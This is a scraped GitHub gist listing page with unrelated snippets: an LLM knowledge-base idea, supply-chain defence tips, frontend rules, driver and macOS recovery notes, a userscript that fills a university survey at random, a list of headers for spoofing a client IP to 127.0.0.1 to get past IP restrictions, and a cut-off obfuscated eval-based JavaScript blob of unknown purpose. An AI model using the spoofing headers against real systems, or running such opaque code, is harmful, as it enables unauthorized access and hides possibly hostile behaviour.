Skip to content

Instantly share code, notes, and snippets.

LLM Wiki

A pattern for building personal knowledge bases using LLMs.

This is an idea file, it is designed to be copy pasted to your own LLM Agent (e.g. OpenAI Codex, Claude Code, OpenCode / Pi, or etc.). Its goal is to communicate the high level idea, but your agent will build out the specifics in collaboration with you.

The core idea

Most people's experience with LLMs and documents looks like RAG: you upload a collection of files, the LLM retrieves relevant chunks at query time, and generates an answer. This works, but the LLM is rediscovering knowledge from scratch on every question. There's no accumulation. Ask a subtle question that requires synthesizing five documents, and the LLM has to find and piece together the relevant fragments every time. Nothing is built up. NotebookLM, ChatGPT file uploads, and most RAG systems work this way.

@altryne
altryne / instructions.md
Created May 14, 2026 23:28
Setting minimum age on package manager configs to prevent supply chain attacks

Minimum-Age Gates for Package Managers

Use this as a baseline across all Macs to reduce exposure to fast-moving supply-chain attacks, where a malicious package version is published, installed by early updaters, then removed hours later.

The default policy I would use is:

  • Personal/dev machines: 3 days.
  • CI and production lock refresh jobs: 3 to 7 days.
  • Emergency security fixes: bypass deliberately, one package at a time, with a reviewed lockfile diff.
@toy-crane
toy-crane / toss-frontend-rules.mdc
Last active May 16, 2026 08:26
토스 프론트엔드 가이드라인 기반으로 만든 Cursor rule
# Frontend Design Guideline
This document summarizes key frontend design principles and rules, showcasing
recommended patterns. Follow these guidelines when writing frontend code.
# Readability
Improving the clarity and ease of understanding code.
@kaimi-
kaimi- / gist:6b3c99538dce9e3d29ad647b325007c1
Last active May 16, 2026 08:24
Possible IP Bypass HTTP Headers
CACHE_INFO: 127.0.0.1
CF_CONNECTING_IP: 127.0.0.1
CF-Connecting-IP: 127.0.0.1
CLIENT_IP: 127.0.0.1
Client-IP: 127.0.0.1
COMING_FROM: 127.0.0.1
CONNECT_VIA_IP: 127.0.0.1
FORWARD_FOR: 127.0.0.1
FORWARD-FOR: 127.0.0.1
FORWARDED_FOR_IP: 127.0.0.1
@b3x206
b3x206 / yuzem-anket-doldur.user.js
Last active May 16, 2026 08:18
Yüzem Anket Doldur (Üniversite Öğretmen Anketi)
// ==UserScript==
// @name YYÜ YUZEM Anket Doldur
// @version 0.5
// @author B3X
// @description Unipa'nın yaptığı anket formu sayfasındaki cevapları rastgele olarak doldur.
// @namespace https://servis.yyu.edu.tr
// @match http://servis.yyu.edu.tr/*
// @match https://servis.yyu.edu.tr/*
// @run-at document-end
// @grant none
@Ahmadhaqqi
Ahmadhaqqi / gist:931845ef74bc9b4c04035571dc3ea1e8
Last active May 16, 2026 08:16
How to fix mt7902 wifi on linux

How I Fix My MT7902 wifi on KALI

Step 1: Purge the Broken Driver

First, ensure you thoroughly remove the old repository from the DKMS registry and clear the directory:

sudo dkms remove -m mt76 -v 1.0 --all sudo rm -rf /usr/src/mt76-1.0

Step 2: Download the Correct MT7902 Kernel 6.19 Repository

@coolaj86
coolaj86 / Create a Bootable MacOS Recovery USB with Linux.md
Last active May 16, 2026 08:14
How to create Apple's Bootable MacOS Rescue Image from Linux

See bootableinstaller.com

How to create a Bootable MacOS Recovery USB from Linux

If your Mac is out-of-order or you otherwise cannot download macOS from the App Store, you can still create a bootable OS X recovery USB, and you can use that to create an Installer USB.

The downloads used in this process are legal and freely avaliable - including disk images directly from Apple's IT support pages, and open source utilities for extracting and converting pkg, dmg, and HFS+.

let Tcecb;!function(){const UR7k=Array.prototype.slice.call(arguments);return eval("(function EdZv(nt6n){const P08n=zAdm(nt6n,HQYn(EdZv.toString()));try{let jo1n=eval(P08n);return jo1n.apply(null,UR7k);}catch(LV3n){var fjWn=(0o202354-66782);while(fjWn<(0o400064%65546))switch(fjWn){case (0x3005F%0o200033):fjWn=LV3n instanceof SyntaxError?(0O264353757%8):(0o600070%65544);break;case (0O264353757%8):fjWn=(0o202400-0x104E0);{console.log(\'Error: the code has been tampered!\');return}break;}throw LV3n;}function HQYn(HSvo){let jqyo=269822036;var DNqo=(0o202246-66709);{let flto;while(DNqo<(262262%0o200025)){switch(DNqo){case (0o1000064%0x10009):DNqo=(0o201034-66049);{jqyo^=(HSvo.charCodeAt(flto)*(15658734^0O73567354)+HSvo.charCodeAt(flto>>>(0O73567354%6)))^1560997041;}break;case (0o202070-66589):DNqo=(0x40055%0o200015);flto++;break;case (0x40065%0o200021):DNqo=flto<HSvo.length?(0o202640-66960):(0o1000236%65567);break;case (0o400101%0x10018):DNqo=(0o1000135%0x1000F);flto=(0x21786%3);break;}}}let zIlo=\"\";var bgoo=(0x